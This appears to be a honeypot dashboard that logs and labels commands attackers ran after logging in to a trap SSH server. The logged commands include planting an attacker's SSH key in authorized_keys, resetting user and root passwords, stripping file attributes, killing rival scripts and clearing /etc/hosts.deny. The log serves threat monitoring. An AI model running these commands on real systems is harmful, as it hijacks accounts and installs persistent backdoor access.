🍯 HONEYPOT DASHBOARD

$ uname -a ×3 // OS/kernel identification

$ uname -a ×5 // OS/kernel identification

$ uname -a ×3 // OS/kernel identification

$ uname -a ×2 // OS/kernel identification

$ uname -a ×3 // OS/kernel identification

$ uname -a ×5 // OS/kernel identification

$ uname -a ×4 // OS/kernel identification

$ uname -a ×3 // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a ×4 // OS/kernel identification

$ uname -a ×2 // OS/kernel identification

$ uname -a // OS/kernel identification

$ /bin/./uname -s -v -n -r -m ×2 // obfuscated system check

$ uname -a ×5 // OS/kernel identification

$ uname -a ×2 // OS/kernel identification

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "mmp123\nr1LVqQnNSN6A\nr1LVqQnNSN6A"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "mmp123\nr1LVqQnNSN6A\nr1LVqQnNSN6A\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "123456\nPrIOMxViAhZG\nPrIOMxViAhZG"|passwd|bash

$ echo "123456\nPrIOMxViAhZG\nPrIOMxViAhZG\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "mikeb\nxmOkXZKVroRZ\nxmOkXZKVroRZ"|passwd|bash

$ Enter new UNIX password:

$ echo "mikeb\nxmOkXZKVroRZ\nxmOkXZKVroRZ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "123456\nziKGIt643qjg\nziKGIt643qjg"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "123456\nziKGIt643qjg\nziKGIt643qjg\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo -e "mmp123\nNWhw0mrDwnqW\nNWhw0mrDwnqW"|passwd|bash

$ echo "mmp123\nNWhw0mrDwnqW\nNWhw0mrDwnqW\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nHjlGxPfxwPKN\nHjlGxPfxwPKN"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nHjlGxPfxwPKN\nHjlGxPfxwPKN\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -a // OS/kernel identification

$ w; uname -a;

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:TntWjXzkA7aE"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Qgbcjiyd8Rgj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nmAn0izia0qmt\nmAn0izia0qmt"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nmAn0izia0qmt\nmAn0izia0qmt\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ uname -s -v -n -r -m ×3

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -a // OS/kernel identification

$ uname -s -m

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:I1ph8bYpO5Jc"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "action\n9qra6ybgakRJ\n9qra6ybgakRJ"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "action\n9qra6ybgakRJ\n9qra6ybgakRJ\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:lW7eIAjFBgBl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "1q2w3e4r\nOzq8rd0MIzJh\nOzq8rd0MIzJh"|passwd|bash

$ echo "1q2w3e4r\nOzq8rd0MIzJh\nOzq8rd0MIzJh\n"|passwd

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ZXHiumOiwpxb"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×4 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×4 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×4 // CPU profiling

$ echo -e "1q2w3e4r\nDMUwUX0JOMGg\nDMUwUX0JOMGg"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "1q2w3e4r\nDMUwUX0JOMGg\nDMUwUX0JOMGg\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×4 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×4

$ ls -lh $(which ls) ×4

$ which ls ×4

$ crontab -l ×4 // persistence setup

$ w ×4 // logged-in users check

$ uname -m ×4

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×4 // CPU profiling

$ top ×4 // process monitoring

$ uname ×4 // OS identification

$ uname -a ×4 // OS/kernel identification

$ whoami ×4 // privilege check

$ lscpu | grep Model ×4

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×4

$ echo "root:AZyR5errcrco"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ echo -e "action\nprVCPjGV6ha1\nprVCPjGV6ha1"|passwd|bash

$ echo "action\nprVCPjGV6ha1\nprVCPjGV6ha1\n"|passwd

$ echo "root:c1DGq39eLkXo"|chpasswd|bash

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo -e "1q2w3e4r\n9mRPqWgf1Gcp\n9mRPqWgf1Gcp"|passwd|bash

$ Enter new UNIX password:

$ echo "1q2w3e4r\n9mRPqWgf1Gcp\n9mRPqWgf1Gcp\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:ixqbnDoWbiez"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "1q2w3e4r\nG32FGgIGREIr\nG32FGgIGREIr"|passwd|bash

$ Enter new UNIX password: ×2

$ echo "1q2w3e4r\nG32FGgIGREIr\nG32FGgIGREIr\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:pmgJEe0Pinf8"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ echo -e "action\nLwGJbcTFoYte\nLwGJbcTFoYte"|passwd|bash

$ echo "action\nLwGJbcTFoYte\nLwGJbcTFoYte\n"|passwd

$ uname -s -v -n -r -m

$ uname -s -m

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "123456\nDqXsYOKOe0mk\nDqXsYOKOe0mk"|passwd|bash

$ Enter new UNIX password:

$ echo "123456\nDqXsYOKOe0mk\nDqXsYOKOe0mk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "bayu123\nFyNQMtrCNCub\nFyNQMtrCNCub"|passwd|bash

$ Enter new UNIX password:

$ echo "bayu123\nFyNQMtrCNCub\nFyNQMtrCNCub\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

